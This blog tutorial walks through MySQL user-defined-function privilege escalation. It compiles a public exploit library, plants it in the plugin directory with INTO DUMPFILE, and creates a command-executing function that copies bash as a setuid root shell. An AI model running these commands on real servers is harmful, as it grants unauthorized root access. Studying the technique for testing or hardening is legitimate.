Fading Coder

One Final Commit for the Last Sprint

Home > Notes > Content

Exploiting MySQL User-Defined Functions for Privilege Escalation

Notes 1

User-Defined Functions (UDFs) in MySQL enable the creation of custom functions for use in SQL queries, allowing users to perform specialized operations within the database.

Prerequisites for exploitasion:

  • Access to a MySQL account with CREATE, INSERT, and DELETE privileges.
  • The secure_file_priv system variable must be set to an empty value, permitting file operations across all directory. This variable can be:
    • NULL: No file operations allowed.
    • '': File operations permitted in any directory.
    • '/specific/path': Restricted to the specified directory.

Identify relevant exploits using search tools:

searchsploit mysql udf
searchsploit mysql udf -m 1518.c

Compile the exploit source code into a shared library:

gcc -c -fPIC exploit_source.c
gcc -shared -o custom_udf.so compiled_object.o -lc

Transfer the compiled library to the target environment, such as a Docker container:

docker cp ./custom_udf.so container_id:/target/path/

Connect to the MySQL database and verify conditions:

mysql -u root -p
SELECT CURRENT_USER();
SHOW VARIABLES LIKE 'secure_file_priv';
SHOW VARIABLES LIKE 'plugin_dir';

If the account has root privileges and secure_file_priv is empty, proceed with the exploitation.

Create a table to store the shared library as binary data:

CREATE TABLE temp_storage(data BLOB);

Load the library file into the table and export it to the MySQL plugin directory:

INSERT INTO temp_storage VALUES(LOAD_FILE('/tmp/custom_udf.so'));
SELECT data FROM temp_storage INTO DUMPFILE('/usr/lib/mysql/plugin/custom_udf.so');

Define a UDF using the exported library:

CREATE FUNCTION execute_cmd RETURNS INTEGER SONAME 'custom_udf.so';

Veerify the function creation:

SELECT * FROM mysql.func;

Execute system commands via the UDF:

SELECT execute_cmd('cp /bin/bash /tmp/priv_bash && chmod +s /tmp/priv_bash');

Run the privileged shell:

/tmp/priv_bash -p
Tags: MySQL

Related Articles

Designing Alertmanager Templates for Prometheus Notifications

How to craft Alertmanager templates to format alert messages, improving clarity and presentation. Alertmanager uses Go’s text/template engine with additional helper functions. Alerting rules referenc...

Deploying a Maven Web Application to Tomcat 9 Using the Tomcat Manager

Tomcat 9 does not provide a dedicated Maven plugin. The Tomcat Manager interface, however, is backward-compatible, so the Tomcat 7 Maven Plugin can be used to deploy to Tomcat 9. This guide shows two...

Skipping Errors in MySQL Asynchronous Replication

When a replica halts because the SQL thread encounters an error, you can resume replication by skipping the problematic event(s). Two common approaches are available. Methods to Skip Errors 1) Skip a...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.